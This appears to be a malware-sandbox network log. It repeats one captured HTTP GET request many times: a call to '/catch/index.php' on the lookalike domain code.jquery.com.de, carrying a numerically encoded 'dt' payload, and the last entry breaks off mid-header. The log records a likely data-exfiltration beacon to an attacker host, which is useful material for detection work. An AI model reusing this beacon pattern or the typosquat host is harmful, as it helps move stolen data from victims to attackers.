    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, 